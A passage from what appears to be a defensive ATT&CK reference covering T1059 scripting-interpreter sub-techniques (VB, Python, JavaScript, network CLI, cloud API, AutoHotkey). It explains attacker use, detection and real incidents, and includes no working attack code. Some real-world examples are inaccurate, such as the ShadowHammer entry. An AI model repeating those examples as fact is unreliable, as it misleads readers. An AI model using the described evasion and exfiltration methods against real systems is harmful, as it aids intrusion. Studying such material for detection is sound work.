  * Executing VB scripts remotely via Windows Management Instrumentation (WMI) or PowerShell remoting.
  * Utilizing scripts to exploit vulnerabilities or misconfigurations to escalate privileges or move laterally within the network.
* **Command-and-Control (C2):**
  * Establishing communication channels with attacker-controlled servers using HTTP/HTTPS requests via VB scripts.
  * Periodically polling remote servers for commands or exfiltrating data through encoded HTTP requests.

## How this Technique is Usually Detected

Detection methods and tools commonly employed to identify malicious Visual Basic scripting include:

* **Endpoint Detection and Response (EDR) Solutions:**
  * Monitoring execution of `wscript.exe` and `cscript.exe` processes, especially when invoked from unusual locations or with uncommon command-line parameters.
  * Detecting anomalous script execution patterns, such as frequent or unusual script file extensions (`.vbs`, `.vbe`).
* **Behavioral Analysis:**
  * Identifying suspicious behaviors, including scripts downloading files from unknown external sources or executing encoded commands.
  * Observing scripts modifying registry keys, creating scheduled tasks, or interacting with COM objects in unusual ways.
* **Process Monitoring and Logging:**
  * Collecting and analyzing Windows Event Logs, Sysmon logs, and process execution logs for unusual script execution.
  * Tracking command-line arguments passed to scripting hosts to detect encoded or obfuscated payloads.
* **Network Monitoring:**
  * Detecting outbound HTTP/HTTPS requests initiated by VB scripts to unknown or suspicious domains.
  * Monitoring unusual traffic patterns indicative of C2 communication or data exfiltration attempts.
* **Specific Indicators of Compromise (IoCs):**
  * Presence of unusual VB script files in temporary directories or user profile folders.
  * Registry modifications or scheduled tasks associated with script execution.
  * Known malicious script content or signatures identified through file analysis or threat intelligence feeds.

## Why it is Important to Detect This Technique

Detecting malicious Visual Basic scripting is critical due to its potential impact on systems and networks:

* **System Compromise and Data Breach:**
  * Attackers can use VB scripts to download and execute secondary payloads, leading to full system compromise or sensitive data exfiltration.
* **Persistence and Long-term Access:**
  * Malicious scripts can establish persistent footholds, allowing attackers to maintain long-term access and control over compromised systems.
* **Difficulty in Attribution and Detection:**
  * VB scripts executed via legitimate Windows utilities may evade traditional antivirus detection, complicating incident response and attribution.
* **Privilege Escalation and Lateral Movement:**
  * Attackers can leverage scripts to escalate privileges or move laterally within networks, potentially compromising critical infrastructure or sensitive resources.
* **Early Detection and Mitigation:**
  * Prompt identification and response to malicious VB script execution can significantly reduce the scope and impact of security incidents.
  * Early detection prevents attackers from establishing persistence or escalating privileges, limiting overall damage and remediation costs.

## Examples

Real-world examples demonstrating the use of malicious Visual Basic scripting include:

* **Emotet Malware Campaign:**
  * Attackers distributed malicious Microsoft Word documents containing VB macros via phishing emails.
  * Upon execution, macros downloaded and executed the Emotet banking trojan, leading to credential theft and further malware infections.
* **TrickBot Banking Trojan:**
  * VB scripts embedded within malicious Excel documents executed upon enabling macros, downloading TrickBot payloads from remote servers.
  * Attackers utilized TrickBot to steal banking credentials, execute ransomware, and enable lateral movement across compromised networks.
* **APT32 (OceanLotus) Campaign:**
  * Targeted attacks leveraged VB scripts embedded in Office documents to execute payloads silently.
  * Scripts performed reconnaissance, downloaded additional malware, and established persistent backdoors for espionage activities.
* **FIN7 Financially Motivated Attacks:**
  * Attackers utilized VB scripts within spear-phishing emails targeting retail and hospitality sectors.
  * Scripts executed PowerShell commands, downloaded payloads, and facilitated lateral movement, resulting in significant financial losses.
* **QakBot (Qbot) Malware:**
  * Malicious VB scripts embedded in phishing emails executed payloads that downloaded QakBot malware.
  * QakBot facilitated credential theft, lateral movement, and ransomware deployment, causing substantial operational disruptions.

These examples highlight the versatility of Visual Basic scripting as a tool leveraged by threat actors across various attack scenarios, emphasizing the importance of robust detection and mitigation strategies.


# Python

Python \[T1059.006]

## Information

* Name: Python
* ID: T1059.006
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

Python \[T1059.006] is a sub-technique within the MITRE ATT\&CK framework under the "Command and Scripting Interpreter" (T1059) category. This sub-technique specifically refers to adversaries leveraging the Python programming language to execute malicious scripts and payloads during cyber operations. Python is a widely used, versatile scripting language, popular among attackers due to its simplicity, readability, powerful standard libraries, cross-platform compatibility, and ease of automation. Adversaries frequently utilize Python scripts to automate tasks, evade detection, carry out reconnaissance, establish persistence, and execute payloads.

## Deep Dive Into Technique

Adversaries employ Python scripts in various stages of an attack lifecycle, from initial compromise and reconnaissance to lateral movement, privilege escalation, persistence, and data exfiltration. Python scripts can be executed on targeted systems through multiple mechanisms:

* **Direct execution**: Attackers may directly invoke Python scripts via command-line interfaces or shells (`python script.py` or `python3 script.py`).
* **Interactive shells**: Python interactive shells (`python -i` or `python3 -i`) allow attackers to execute commands dynamically, perform reconnaissance, and explore the target environment interactively.
* **Embedded payloads**: Malicious Python payloads can be embedded within legitimate applications, installers, or scripts to evade detection and execute covertly.
* **Compiled executables**: Attackers may use tools like PyInstaller, cx\_Freeze, or Nuitka to compile Python scripts into standalone executables, obfuscating the original Python code and evading signature-based detection.
* **Web-based payloads**: Python-based web frameworks and web shells (e.g., Flask, Django, Tornado) can be leveraged by adversaries to create persistent backdoors, command-and-control (C2) servers, or data exfiltration channels.
* **Living-off-the-Land (LotL)**: Python is often pre-installed in Linux environments and increasingly common on Windows and macOS, enabling attackers to exploit existing tools without downloading additional binaries.
* **Third-party libraries**: Adversaries leverage powerful third-party Python libraries (e.g., Requests, Paramiko, Scapy, Impacket) to automate network reconnaissance, credential harvesting, network scanning, exploitation, and lateral movement.

Attackers typically employ obfuscation methods to avoid detection, including:

* Encoding or encrypting Python scripts and payloads.
* Minimizing or removing comments, whitespace, and variable names.
* Using reflection (`exec()`, `eval()`) to execute dynamically generated or encoded code.
* Embedding scripts in legitimate software or scripts to blend malicious activity with normal operations.

## When this Technique is Usually Used

Python scripting is commonly utilized by adversaries across multiple stages and scenarios of cyber-attacks, including:

* **Initial compromise**:
  * Exploit delivery via phishing emails, malicious attachments, or web drive-by downloads.
  * Execution of initial reconnaissance scripts to gather system information and identify vulnerabilities.
* **Execution and persistence**:
  * Deployment and execution of backdoors, RATs (Remote Access Trojans), and malware payloads.
  * Establishing persistent access through scheduled tasks, cron jobs, or registry entries using Python scripts.
* **Privilege escalation and lateral movement**:
  * Exploiting vulnerabilities or misconfigurations using Python-based exploits (e.g., Impacket-based tools for SMB relay attacks).
  * Automating brute-force attacks, credential dumping, or hash extraction.
* **Defense evasion**:
  * Obfuscating scripts and payloads to bypass antivirus and endpoint detection solutions.
  * Leveraging legitimate Python applications and libraries to mask malicious activities.
* **Command-and-Control (C2)**:
  * Establishing covert communication channels using Python-based HTTP(S), DNS, or custom protocols.
  * Deploying web shells and lightweight Python servers for remote command execution.
* **Exfiltration and impact**:
  * Automating data collection, compression, encryption, and exfiltration.
  * Conducting destructive operations (e.g., ransomware encryption, data wiping) through Python scripts.

## How this Technique is Usually Detected

Detection of malicious Python scripting activity involves a combination of endpoint monitoring, network analysis, and behavioral analytics:

* **Endpoint Detection**:
  * Monitoring process creation events (e.g., execution of `python.exe`, `python3`, or compiled Python executables).
  * Analyzing command-line arguments associated with Python interpreter invocations.
  * Reviewing file system events for unusual Python script creations, modifications, or executions.
  * Monitoring scheduled tasks, cron jobs, and registry keys for persistence-related Python script references.
* **Network Monitoring**:
  * Identifying anomalous network traffic patterns indicative of Python-based C2 communication.
  * Detecting unusual HTTP(S), DNS, or custom protocol traffic initiated by Python scripts.
  * Examining user-agent strings and headers associated with Python libraries (e.g., Requests, urllib).
* **Behavioral Analytics**:
  * Establishing baseline behaviors to detect deviations, such as unusual Python interpreter executions or unexpected network connections.
  * Leveraging machine learning or anomaly detection tools to identify suspicious Python script execution patterns.
* **Indicators of Compromise (IoCs)**:
  * Suspicious Python script filenames, paths, or hashes.
  * Known malicious Python libraries or modules.
  * Unusual or encoded Python scripts stored in temporary directories or user folders.
  * Python interpreter executions from unexpected locations or user accounts.

## Why it is Important to Detect This Technique

Early detection of malicious Python scripting activities is critical due to the potential severe impacts and risks associated with this technique:

* **Rapid compromise and lateral movement**:
  * Python scripts facilitate rapid automation of exploitation, reconnaissance, privilege escalation, and lateral movement, significantly reducing attackers' dwell time.
* **Persistence and stealth**:
  * Python-based persistence mechanisms can remain undetected for extended durations, enabling attackers to maintain long-term access.
* **Data exfiltration and theft**:
  * Python scripts enable attackers to automate large-scale data collection, encryption, and exfiltration, leading to severe data breaches and intellectual property theft.
* **System disruption and damage**:
  * Malicious Python scripts can execute destructive actions, including ransomware, data wiping, or denial-of-service attacks, causing significant operational disruptions.
* **Difficulty in attribution and response**:
  * Python scripts can be easily obfuscated, modified, or embedded within legitimate software, complicating attribution, forensic analysis, and incident response.

Early detection and response can significantly reduce the potential damage, minimize the impact of breaches, and enhance an organization's overall security posture.

## Examples

Real-world examples of adversaries leveraging Python scripting include:

* **Empire Framework (PowerShell Empire successor)**:
  * Python-based post-exploitation framework enabling attackers to execute payloads, establish persistence, and perform lateral movement.
  * Widely used in penetration testing and real-world attacks due to its versatility and stealth.
* **Pupy RAT**:
  * Cross-platform Remote Access Trojan written entirely in Python, allowing attackers to execute commands, perform reconnaissance, capture credentials, and exfiltrate data.
  * Supports encrypted communication channels and various obfuscation techniques.
* **Impacket**:
  * Python library frequently leveraged by attackers for network protocol manipulation and exploitation, including SMB relay attacks, lateral movement, and credential dumping.
  * Used extensively in ransomware attacks and advanced persistent threat (APT) operations.
* **PyXie RAT**:
  * Python-based Remote Access Trojan used by threat actors to deliver ransomware and perform stealthy data exfiltration.
  * Employs compiled Python executables, obfuscation, and encrypted C2 communication.
* **FIN7 Threat Group**:
  * Known to leverage Python scripts extensively in targeted attacks against financial institutions, hotels, and retail companies.
  * Utilized Python scripts for reconnaissance, lateral movement, and data exfiltration.
* **Turla Threat Group**:
  * Russian APT group known to utilize Python-based payloads and scripts for espionage, data theft, and persistence in targeted campaigns.
  * Frequently employs Python scripts embedded within legitimate software to evade detection.

These examples highlight Python scripting's widespread adoption by threat actors of varying sophistication levels, underscoring the importance of robust detection and mitigation strategies.


# JavaScript

JavaScript \[T1059.007]

## Information

* Name: JavaScript
* ID: T1059.007
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

JavaScript \[T1059.007] is a sub-technique within the MITRE ATT\&CK framework categorized under the broader technique "Command and Scripting Interpreter" (T1059). It involves adversaries leveraging JavaScript scripts and interpreters to perform malicious operations, execute arbitrary commands, or facilitate further compromise within targeted systems. JavaScript is commonly utilized due to its widespread availability, ease of use, and the ability to execute in various runtime environments, including web browsers and standalone interpreters.

## Deep Dive Into Technique

Adversaries exploit JavaScript in multiple ways, leveraging its flexibility, ubiquity, and ability to interact directly with system components or network resources. The following points detail the technical aspects and execution mechanisms:

* **Browser-Based Execution:**
  * Malicious JavaScript embedded within compromised websites or malicious advertisements (malvertising).
  * Exploitation of browser vulnerabilities through crafted JavaScript payloads.
  * Execution of scripts in browser extensions or plugins to gain persistence or perform reconnaissance.
* **Standalone JavaScript Execution via Interpreters (Node.js, Windows Script Host):**
  * Execution of malicious JavaScript files (.js) using Windows Script Host (WSH) through commands such as `wscript.exe` or `cscript.exe`.
  * Leveraging Node.js runtime environments installed on compromised hosts to execute scripts performing reconnaissance, lateral movement, or data exfiltration.
* **Obfuscation and Evasion Techniques:**
  * Encoding or obfuscating scripts using Base64, hexadecimal encoding, or custom algorithms to evade detection.
  * Dynamically generating scripts at runtime to bypass static analysis and signature-based detection mechanisms.
* **Integration with Other Techniques:**
  * JavaScript scripts commonly interact with other techniques such as phishing (T1566), exploitation for client execution (T1203), and command-and-control (C2) frameworks (T1071).
  * Scripts may download additional payloads, execute shell commands, or interact with system APIs directly.

## When this Technique is Usually Used

Adversaries frequently use JavaScript \[T1059.007] across various stages and scenarios in cyber-attacks, including:

* **Initial Access:**
  * Embedded malicious JavaScript in phishing emails or compromised websites to exploit browser vulnerabilities and gain initial foothold.
* **Execution and Persistence:**
  * Scripts executed through Windows Script Host or Node.js to maintain persistence and execute commands regularly without user intervention.
* **Privilege Escalation and Defense Evasion:**
  * JavaScript scripts used to exploit vulnerabilities, escalate privileges, or disable security tools through automated scripting.
* **Credential Access and Reconnaissance:**
  * Scripts executed in browsers to harvest credentials, cookies, or perform reconnaissance against internal networks and resources.
* **Lateral Movement and Command-and-Control:**
  * JavaScript-based C2 agents or scripts facilitating lateral movement by interacting with internal network resources or executing commands remotely.
* **Exfiltration:**
  * JavaScript scripts performing data collection, encoding, and exfiltration via HTTP(S) requests or DNS tunneling methods.

## How this Technique is Usually Detected

Detection of JavaScript \[T1059.007] involves multiple layers and methodologies, including:

* **Endpoint Detection:**
  * Monitoring execution of suspicious JavaScript files via Windows Script Host (`wscript.exe`, `cscript.exe`) or Node.js processes.
  * Analyzing process command-line arguments and parent-child relationships for unusual JavaScript execution patterns.
* **Network Monitoring and Analysis:**
  * Detecting unusual outbound HTTP(S) traffic patterns originating from JavaScript execution contexts.
  * Monitoring DNS requests indicative of DNS tunneling or data exfiltration attempts.
* **Behavioral and Signature-based Detection:**
  * Utilizing antivirus and endpoint detection and response (EDR) solutions capable of identifying known malicious scripts and behaviors.
  * Employing sandboxing and behavioral analysis tools to detect anomalous script execution behaviors.
* **Script Analysis and Logging:**
  * Logging Windows Script Host and Node.js script execution events, including script paths, parameters, and timestamps.
  * Analyzing browser logs or extension activities for suspicious JavaScript execution or injection attempts.
* **Indicators of Compromise (IoCs):**
  * Suspicious JavaScript filenames or file paths.
  * Unusual JavaScript execution commands, such as:
    * `wscript.exe malicious.js`
    * `node suspicious_script.js`
  * Encoded or obfuscated JavaScript payloads detected in logs or file systems.
  * Unrecognized browser extensions or injected scripts within browser profiles.

## Why it is Important to Detect This Technique

Early and effective detection of malicious JavaScript execution is crucial due to the following potential impacts:

* **Initial Compromise and Exploitation:**
  * Malicious JavaScript can exploit browser or system vulnerabilities, facilitating initial access and compromise of the host.
* **Persistence and Stealthy Operations:**
  * JavaScript scripts can establish persistence mechanisms, allowing adversaries prolonged and undetected access to compromised systems.
* **Credential Harvesting and Sensitive Data Theft:**
  * Scripts executed in browser contexts can collect sensitive information, credentials, cookies, and session tokens, leading to account compromise and unauthorized access.
* **Lateral Movement and Network Reconnaissance:**
  * JavaScript scripts can automate reconnaissance activities, lateral movement, and internal network scanning, significantly expanding the attack surface.
* **Data Exfiltration and Command-and-Control:**
  * Malicious scripts can encode and exfiltrate sensitive data through stealthy channels such as HTTP(S) or DNS, complicating detection and incident response efforts.

Overall, prompt detection reduces attacker dwell time, minimizes damage, and aids rapid containment and remediation efforts.

## Examples

Real-world examples demonstrating the use of JavaScript \[T1059.007] in cyber-attacks include:

* **Magecart Attacks (Web Skimming):**
  * Attackers inject malicious JavaScript into e-commerce websites to capture payment card information entered by customers at checkout.
  * Scripts silently exfiltrate captured data to attacker-controlled servers, resulting in significant financial and reputational damage.
* **Emotet Malware Campaigns:**
  * Emotet operators have utilized JavaScript files delivered via phishing emails to execute malicious payloads.
  * Victims receive emails containing JavaScript attachments that, when executed, download and install additional malware such as banking trojans or ransomware.
* **FIN7 Group Attacks:**
  * FIN7 leveraged JavaScript-based payloads delivered via phishing emails and malicious documents to execute reconnaissance and deploy backdoors.
  * JavaScript scripts executed via Windows Script Host facilitated initial access and subsequent lateral movement within targeted networks.
* **Gootloader Malware:**
  * Gootloader campaigns distribute JavaScript-based malware through compromised websites appearing in search engine results.
  * Victims download and execute malicious JavaScript files, leading to installation of additional malware payloads and persistence mechanisms.
* **Operation ShadowHammer (ASUS Supply Chain Attack):**
  * Attackers injected malicious JavaScript code into legitimate software updates, compromising ASUS software distribution channels.
  * Malicious JavaScript executed on victim systems, facilitating reconnaissance, data exfiltration, and targeted exploitation.

These examples underscore the versatility, effectiveness, and widespread usage of JavaScript-based attacks across diverse industries and threat actor groups.


# Network Device CLI

Network Device CLI \[T1059.008]

## Information

* Name: Network Device CLI
* ID: T1059.008
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

Network Device CLI (Command Line Interface) \[T1059.008] is a sub-technique within the MITRE ATT\&CK framework under the Execution tactic. Attackers leverage this method to execute commands directly on network devices such as routers, switches, and firewalls. By gaining access to the CLI, adversaries can manipulate device configurations, intercept network traffic, and maintain persistent control over network infrastructure. This technique is particularly critical due to the central role network devices play in managing data flow, security policies, and overall network availability and integrity.

## Deep Dive Into Technique

Attackers typically execute commands directly on network devices through their native CLI interfaces. These interfaces are often accessed remotely using protocols like SSH, Telnet, or via serial console connections. Common devices targeted include routers, switches, firewalls, and load balancers from vendors such as Cisco, Juniper, Palo Alto Networks, Fortinet, and others.

Technical details and mechanisms involved include:

* **Remote Command Execution:** Attackers often exploit weak credentials, default passwords, or vulnerabilities in device firmware to gain access to the CLI. Once authenticated, they can execute commands to alter device configurations, modify access control lists (ACLs), or redirect network traffic.
* **Configuration Manipulation:** Commands executed through the CLI can modify critical configurations, such as routing tables, firewall rules, NAT settings, and VLAN assignments, enabling attackers to disrupt or intercept network traffic.
* **Persistence and Backdoor Creation:** Attackers may add unauthorized user accounts, enable persistent access through SSH keys, or configure hidden administrative interfaces to maintain long-term access.
* **Data Exfiltration and Traffic Monitoring:** CLI commands can facilitate packet captures, port mirroring, or logging modifications, enabling attackers to monitor, intercept, or exfiltrate sensitive network data.
* **Firmware and Software Manipulation:** Attackers might use CLI access to install malicious firmware or software updates, providing additional covert methods of persistence and control.

## When this Technique is Usually Used

Network Device CLI exploitation can occur across various stages of an attack lifecycle, including:

* **Initial Access:** Exploiting default credentials or publicly known vulnerabilities to gain initial access to the network device.
* **Execution:** Running commands directly on devices to alter configurations, disrupt services, or manipulate traffic flows.
* **Persistence:** Establishing long-term access by adding hidden accounts, enabling SSH keys, or modifying configurations to ensure continued control.
* **Privilege Escalation:** Moving from limited access to full administrative privileges by exploiting misconfigured permissions or vulnerabilities.
* **Defense Evasion:** Modifying device logging, disabling security features, or altering audit trails to evade detection.
* **Collection and Exfiltration:** Capturing network traffic, sensitive credentials, or configuration data and exfiltrating it through covert channels.
* **Impact:** Causing denial-of-service (DoS) conditions, network outages, or unauthorized access to sensitive network segments.

Attack scenarios commonly involve:

* Targeted cyber espionage operations aiming to intercept sensitive communications.
* Advanced persistent threats (APT) maintaining long-term footholds within critical infrastructure.
* Insider threats leveraging privileged access to network equipment for malicious intent.
* Cybercriminals exploiting network devices to redirect traffic or carry out man-in-the-middle (MitM) attacks.

## How this Technique is Usually Detected

Detection of malicious CLI activity on network devices involves a combination of monitoring, auditing, and anomaly detection techniques, including:

* **Logging and Audit Trails:** Leveraging syslog, SNMP traps, or vendor-specific logging capabilities to capture command execution events, configuration changes, and login attempts.
* **Network Device Configuration Monitoring:** Regularly auditing device configurations and comparing current states against known good baselines to detect unauthorized changes.
* **Behavioral Analysis and Anomaly Detection:** Utilizing network monitoring tools (NetFlow analysis, IDS/IPS solutions, or SIEM platforms) to identify unusual command execution patterns, unexpected configuration changes, or abnormal traffic flows.
* **Authentication and Authorization Auditing:** Monitoring for unusual login attempts, particularly from unknown sources, unusual IP addresses, or at abnormal times.
* **Indicator of Compromise (IoC) Identification:** Identifying specific IoCs such as:
  * Unrecognized or unauthorized administrative accounts.
  * Unusual SSH/Telnet access patterns or login failures.
  * Unexpected configuration changes (e.g., new ACL entries, modified routing tables).
  * Suspicious firmware or software updates.
  * Unusual log deletions or log tampering attempts.

Tools commonly used for detection include:

* Security Information and Event Management (SIEM) solutions (e.g., Splunk, IBM QRadar, Elastic Security).
* Network configuration monitoring tools (e.g., SolarWinds Network Configuration Manager, Cisco Prime Infrastructure, Juniper Junos Space).
* Intrusion Detection and Prevention Systems (IDS/IPS) (e.g., Snort, Suricata, Cisco Secure IPS).
* Endpoint and network analytics platforms capable of detecting anomalous device behavior.

## Why it is Important to Detect This Technique

Early detection of unauthorized CLI access and command execution on network devices is critical due to the significant impacts this technique can cause, including:

* **Network Disruption and Outages:** Malicious configuration changes can lead to network downtime, reduced availability, and loss of critical services.
* **Data Breach and Exfiltration:** Attackers may intercept and exfiltrate sensitive data traversing compromised network devices, leading to severe privacy and compliance implications.
* **Security Control Bypass:** Attackers can disable or modify firewall rules, ACLs, and other security mechanisms, enabling unrestricted lateral movement and further exploitation.
* **Persistence and Long-Term Compromise:** Undetected CLI access can allow attackers to maintain persistent footholds within critical network infrastructure, complicating incident response and remediation.
* **Reputational and Financial Damage:** Successful exploitation of critical network devices can result in significant financial losses, regulatory penalties, and reputational harm to affected organizations.

Detecting this technique early ensures rapid containment, reduces potential damage, and improves overall organizational resilience against cyber threats.

## Examples

Real-world examples of Network Device CLI sub-technique exploitation include:

* **Cisco IOS and IOS XE Attacks:** Attackers exploiting CVE-2018-0171 (Smart Install vulnerability) to gain remote CLI access, modify configurations, and disrupt network operations. In 2018, attackers leveraged this vulnerability in widespread campaigns causing outages and unauthorized access to devices worldwide.
* **VPNFilter Malware Campaign:** In 2018, VPNFilter malware infected routers globally, leveraging CLI access to manipulate configurations, intercept traffic, and exfiltrate sensitive data. The malware targeted devices from vendors such as Linksys, MikroTik, Netgear, and TP-Link.
* **APT41 Activity:** Advanced Persistent Threat group APT41 used compromised credentials to access network device CLIs, enabling them to modify firewall rules, establish persistence, and exfiltrate sensitive data from multiple global organizations.
* **Juniper Networks Backdoor Incident (2015):** Attackers inserted unauthorized code into Juniper ScreenOS firmware, providing hidden CLI access to VPN and firewall devices. This enabled covert surveillance, interception of encrypted VPN traffic, and long-term persistence.
* **Iranian APT Operations:** Iranian threat actors have targeted network devices using default credentials and vulnerabilities to access CLIs, alter configurations, and redirect traffic for espionage purposes, particularly targeting critical infrastructure sectors.

These examples highlight the sophisticated nature of adversaries leveraging network device CLI access, underscoring the importance of robust security controls, monitoring, and detection capabilities.


# Cloud API

Cloud API \[T1059.009]

## Information

* Name: Cloud API
* ID: T1059.009
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

Cloud API (T1059.009) is a sub-technique within the MITRE ATT\&CK framework under the Execution tactic, specifically categorized under Command and Scripting Interpreter (T1059). This sub-technique involves adversaries leveraging cloud-based application programming interfaces (APIs) to execute commands, scripts, or malicious code remotely. Attackers exploit cloud APIs provided by cloud service providers (CSPs) or other cloud-based platforms to gain unauthorized access, escalate privileges, persist within compromised environments, or exfiltrate sensitive data. The increasing adoption of cloud infrastructure by organizations makes understanding and detecting this technique critical for security teams.

## Deep Dive Into Technique

Cloud APIs provide a standardized method for managing and interacting with cloud resources, allowing authenticated users to perform operations remotely. Attackers exploit these legitimate APIs to execute unauthorized commands and scripts, blending malicious activity with legitimate cloud operations.

Technical details and execution methods include:

* **API Authentication and Authorization Abuse:**
  * Attackers may acquire or compromise API keys, OAuth tokens, or credentials through phishing, credential stuffing, or exploiting vulnerabilities.
  * Once authenticated, attackers can execute commands via cloud APIs, often bypassing traditional perimeter defenses.
* **Command Execution via Cloud APIs:**
  * Attackers leverage cloud provider command-line interfaces (CLIs) or software development kits (SDKs) to run scripts or commands remotely.
  * Malicious actors may perform actions such as creating or modifying cloud instances, deploying malicious containers, or manipulating cloud storage.
* **Automated Scripting and Tooling:**
  * Attackers often use automated scripts or custom-developed tools to interact with cloud APIs at scale, rapidly executing commands or deploying malicious infrastructure.
  * Common scripting languages and tools include Python scripts, Bash scripts, PowerShell scripts, Terraform, AWS CLI, Azure CLI, and Google Cloud SDK.
* **Persistence and Privilege Escalation:**
  * Attackers may use cloud APIs to create persistent backdoors, such as unauthorized user accounts, roles, or permissions.
  * Privilege escalation can be achieved by modifying IAM policies or roles via cloud APIs to grant elevated permissions.
* **Exfiltration and Data Manipulation:**
  * Attackers may leverage cloud APIs to access and exfiltrate sensitive data stored in cloud storage or databases.
  * APIs can also be used to manipulate or delete data, potentially causing significant operational disruption or data loss.

## When this Technique is Usually Used

This sub-technique can appear across various stages of an attack lifecycle, including initial access, execution, persistence, privilege escalation, lateral movement, and exfiltration. Common scenarios include:

* **Initial Access and Reconnaissance:**
  * Attackers identify exposed or misconfigured cloud APIs during reconnaissance and exploit these to gain initial foothold.
* **Execution and Deployment:**
  * Attackers execute commands or deploy malicious payloads directly via cloud APIs, often automating these actions through scripts or tools.
* **Persistence:**
  * Creation of unauthorized cloud accounts, roles, or API keys to maintain persistent access.
* **Privilege Escalation:**
  * Modifying or abusing IAM policies and roles through cloud APIs to escalate privileges within cloud environments.
* **Lateral Movement:**
  * Utilizing cloud APIs to pivot between cloud resources or services within the compromised environment.
* **Data Exfiltration:**
  * Leveraging cloud APIs to access sensitive data stored in cloud storage, databases, or application services, and subsequently exfiltrating data.

## How this Technique is Usually Detected

Detection of Cloud API abuse involves monitoring, analyzing, and correlating cloud service logs, network traffic, and API usage data. Common detection methods and tools include:

* **Cloud Provider Logging and Monitoring:**
  * AWS CloudTrail, Azure Activity Log, Google Cloud Audit Logs, and other CSP logging mechanisms provide detailed API request logs.
  * Monitoring for abnormal or unexpected API calls, especially from unfamiliar IP addresses, regions, or user accounts.
* **Behavioral Analytics and Anomaly Detection:**
  * Employ behavioral analytics tools and SIEM solutions (such as Splunk, ELK Stack, Azure Sentinel, AWS GuardDuty) to detect anomalous patterns in API usage.
  * Identify unusual spikes in API activity, access from unusual geographical locations, or API calls outside normal business hours.
* **API Credential Monitoring:**
  * Monitor usage patterns of API keys and OAuth tokens to detect suspicious activity, such as excessive or unauthorized API calls.
  * Regularly audit and rotate API keys and credentials to minimize exposure.
* **Indicators of Compromise (IoCs):**
  * Unexpected creation or modification of cloud resources (virtual machines, containers, storage buckets, IAM roles).
  * API calls associated with known malicious IP addresses or domains.
  * Unusual API call patterns, including repeated failed authentication attempts or access to sensitive resources without legitimate need.
* **Cloud Security Posture Management (CSPM) Tools:**
  * Utilize CSPM solutions (e.g., Prisma Cloud, Aqua Security, Orca Security) to continuously monitor cloud environments for misconfigurations and suspicious API interactions.

## Why it is Important to Detect This Technique

Early detection of Cloud API abuse is critical due to the potential impacts on organizations, including:

* **Unauthorized Access and Data Breach:**
  * Attackers leveraging cloud APIs can gain unauthorized access to sensitive data, leading to data breaches, compliance violations, and reputational damage.
* **Persistence and Difficulty of Remediation:**
  * Attackers may establish persistent footholds by creating hidden accounts or roles, complicating remediation and recovery efforts.
* **Privilege Escalation and Expanded Attack Surface:**
  * Abuse of cloud APIs can enable attackers to escalate privileges, increasing their control over cloud infrastructure and resources.
* **Financial and Operational Impact:**
  * Malicious API usage can result in unauthorized creation or manipulation of cloud resources, leading to increased cloud costs, operational disruption, or data loss.
* **Compliance and Regulatory Risks:**
  * Failure to detect and mitigate cloud API abuse can result in non-compliance with regulatory requirements such as GDPR, HIPAA, PCI DSS, or other industry-specific standards.

## Examples

Real-world examples of Cloud API (T1059.009) abuse include:

* **Capital One Data Breach (2019):**
  * Attacker exploited a misconfigured AWS IAM role and leveraged AWS APIs to access and exfiltrate over 100 million customer records stored in AWS S3 buckets.
  * Tools and methods used: AWS CLI, EC2 instance metadata service exploitation, and AWS API calls for data extraction.
* **TeamTNT Cloud Attacks:**
  * Attackers utilized compromised Docker APIs and cloud provider APIs to deploy cryptocurrency mining malware on cloud infrastructure.
  * Tools and methods used: Automated scripts, Docker API exploitation, AWS credential harvesting, and malicious container deployment via cloud APIs.
* **Rocke Group Cloud API Abuse:**
  * Rocke threat actors leveraged cloud APIs to deploy malicious cryptocurrency miners and backdoors in cloud environments.
  * Tools and methods used: Custom scripts and malware, exploitation of cloud API credentials, and malicious cloud instance creation.
* **Misconfigured Kubernetes APIs:**
  * Attackers exploited exposed Kubernetes APIs to execute unauthorized commands, deploy malicious containers, and move laterally within cloud environments.
  * Tools and methods used: Kubernetes CLI (`kubectl`), cloud provider APIs, and automated exploitation scripts.
* **Azure OAuth Token Abuse (Nobelium attacks):**
  * Attackers compromised OAuth tokens and used Azure APIs to access sensitive email accounts and cloud resources during the SolarWinds-related Nobelium campaign.
  * Tools and methods used: Compromised OAuth tokens, Azure APIs, Microsoft Graph API for data access and exfiltration.

These examples illustrate the significant risks associated with Cloud API abuse and emphasize the importance of proactive detection, monitoring, and response strategies.


# AutoHotKey & AutoIT

AutoHotkey & AutoIt \[T1059.010]

## Information

* Name: AutoHotKey & AutoIT
* ID: T1059.010
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

The MITRE ATT\&CK sub-technique "AutoHotkey & AutoIt" (T1059.010) describes adversaries leveraging scripting languages, specifically AutoHotkey and AutoIt, to execute malicious scripts on compromised systems. These scripting languages are originally designed for legitimate automation tasks and GUI interactions on Windows operating systems, but attackers exploit their capabilities to automate malicious actions, evade detection, and facilitate persistence.

## Deep Dive Into Technique

AutoHotkey and AutoIt are open-source scripting languages commonly used for automating repetitive tasks, creating macros, and interacting with graphical user interfaces (GUIs). Attackers utilize these scripts due to their simplicity, flexibility, and ability to interact directly with the Windows API.

Technical details include:

* **Script Execution**:
  * Scripts are executed using interpreters (`AutoHotkey.exe`, `AutoIt3.exe`), which process `.ahk` or `.au3` files.
  * Scripts can be compiled into standalone executables to evade detection and simplify execution on victim machines.
* **Capabilities and Mechanisms**:
  * Automating keystrokes, mouse movements, and GUI interactions.
  * Accessing and manipulating the Windows clipboard, registry keys, and files.
  * Executing shell commands, launching processes, and downloading additional payloads from remote servers.
  * Implementing persistence mechanisms through registry modifications, scheduled tasks, or startup folder entries.
* **Obfuscation and Evasion**:
  * Attackers commonly obfuscate AutoHotkey and AutoIt scripts to evade signature-based detection mechanisms.
  * Scripts may be packed, encoded, or encrypted, making static analysis difficult.
  * Compiled scripts often embed the interpreter, further complicating detection and analysis.

## When this Technique is Usually Used

Attackers typically leverage AutoHotkey and AutoIt scripts in various stages of the cyber kill chain, including:

* **Initial Access and Execution**:
  * Delivered through phishing emails, malicious attachments, or drive-by downloads.
